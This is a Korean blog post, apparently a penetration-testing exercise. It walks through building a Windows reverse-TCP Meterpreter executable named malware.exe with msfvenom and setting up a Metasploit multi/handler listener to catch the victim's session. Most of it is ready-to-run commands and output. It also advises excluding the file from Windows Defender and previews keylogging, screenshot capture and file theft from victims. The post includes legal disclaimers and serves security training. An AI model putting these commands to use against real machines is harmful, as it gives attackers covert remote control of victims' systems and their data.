악성코드 제작

[모의해킹] msfvenom을 활용한 악성코드 생성 및 메타스플로잇 연동 실습

ahhyun98 2025. 5. 8. 14:35

 

이번 글에서는 메타스플로잇msfvenom 모듈을 활용하여 Windows용 악성코드를 제작하고, 메타스플로잇 콘솔(msfconsole)에서 해당 악성코드와 통신을 연결하는 실습을 진행하였다. 이 과정은 모의해킹페이로드를 제작하고 수신 환경을 구성한다. 

 


1. msfvenom이란?

msfvenom메타스플로잇에서 제공하는 페이로드 생성 도구로, 다양한 플랫폼용 악성코드를 쉽게 생성할 수 있도록 도와준다. 

페이로드(payload)악성코드에서 가장 핵심이 되는 부분으로, 공격자가 원하는 동작을 수행하는 역할을 한다. 

 


2. 실습

 

2-1) 악성코드 생성 스크립트 작성하기 

 

 

touch malware_maker
gedit malware_maker  

# gedit은 설치하면 사용할 수 있다. 
# nano나 vi를 사용해도 된다.

 

 

malware_maker 스크립트 내용

msfvenom -p windows/meterpreter/reverse_tcp lhost=[공격자 kali-linux IP 주소] lport=[포트번호] -f exe -o malware.exe

 

  • -p : 사용할 페이로드 지정 (여기서는, reverse_tcp 방식의 meterpreter 사용했다.)
  • lhost : 공격자 kali-linux의 IP 주소 (kali-linux 기준으로는 ifconfig로 확인이 가능하다.)
  • lport : 공격자가 대기할 포트번호 (well-known 포트번호를 제외하고 사용하는 것을 권장한다.(1024 이상))
  • -f exe : Windows 실행파일 형식으로 생성
  • -o malware.exe : 출력 파일명

malware_maker 권한 부여, 실행하기

chmod +x malware_maker
./malware_maker

 

  • chmod +x malware_maker : malware_maker에 실행권한을 부여해 주었다. 
  • ./malware_maker : 현재 위치에 있는 malware_maker 실행

실행 결과 

Payload size : 354 bytes
Final size of exe file : 73802 bytes
Saves as : malware.exe

 

 

 

2-2) msfconsole을 활용한 수신 대기 환경 구축하기 

 

malware.exe를 실행하더라도 아무런 반응이 없으면 이건 연결을 수신할 핸들러가 준비되지 않았기 때문이다.

이를 위해서 Metasploit Framework를 실행한다. 

 

 

msfconsole

 

 

핸들러 설정하기

 

 

 

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost [공격자 kali-linux IP 주소]
set lport [대기할 포트번호]
exploit -j

 

  • exploit/multi/handler : 수신용 핸들러 모듈
  • set payload : 악성코드에서 사용한 페이로드랑 일치해야 한다. 
  • exploit -j : 백그라운드에서 대기 시작 

이제 공격자대기 상태에 들어가 있고, 피해자malware.exe 파일실행하면 session이 연결된다. 

 


3. 실습 시 주의사항

  • Windows 시스템에서 실습 시, malware.exe 파일이 Windows Defender 등 백신 프로그램에 의해 자동 삭제될 수 있다. 이를 방지하기 위해 예외 폴더를 설정하거나 VMware 환경에서 테스트를 권장한다. 
  • 사용된 포트는 well-known 포트가 아니라서 비교적 안전하지만, 보안상 반드시 방화벽이나 네트워크 설정을 검토해야 한다. 
  • 생성한 악성코드는 교육이나 테스트 목적으로만 사용해야하며, 실제 시스템에 무단으로 배포하거나 실행하는 행위는 불법이다. 

4. 실습을 통해 배운 점

  • msfvenom을 통해 간단하게 악성코드를 생성할 수 있고, 해당 코드는 msfconsole의 handler랑 연결해서 실제 session을 획득할 수 있다.
  • payload의 종류 및 설정값이 공격 흐름에 있어서 얼마나 중요한지 체감할 수 있었다. 
  • 추후 실습에서는 백신 프로그램이나 Windows Defender를 우회하는 악성코드를 제작해 볼 것이다. 

5. 다음 실습 예고

이번 글에서는 msfvenom을 활용해 윈도우용 악성코드를 제작하고, 통신 연결 준비하는 과정까지 해보았다. 

다음 글에서는 이렇게 생성된 악성코드를 실행한 뒤, Metasploit sessions을 통해 피해자의 시스템을 조작하는 고급 기능들을 직접 실습해 볼 것이다. 키로깅, 스크린샷 캡쳐, 파일 다운로드, 화면 공유 등을 통해 실제 공격 시나리오와 유사한 경험을 해볼 것이다.  

 

 

=> 다음 글 보러가기

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.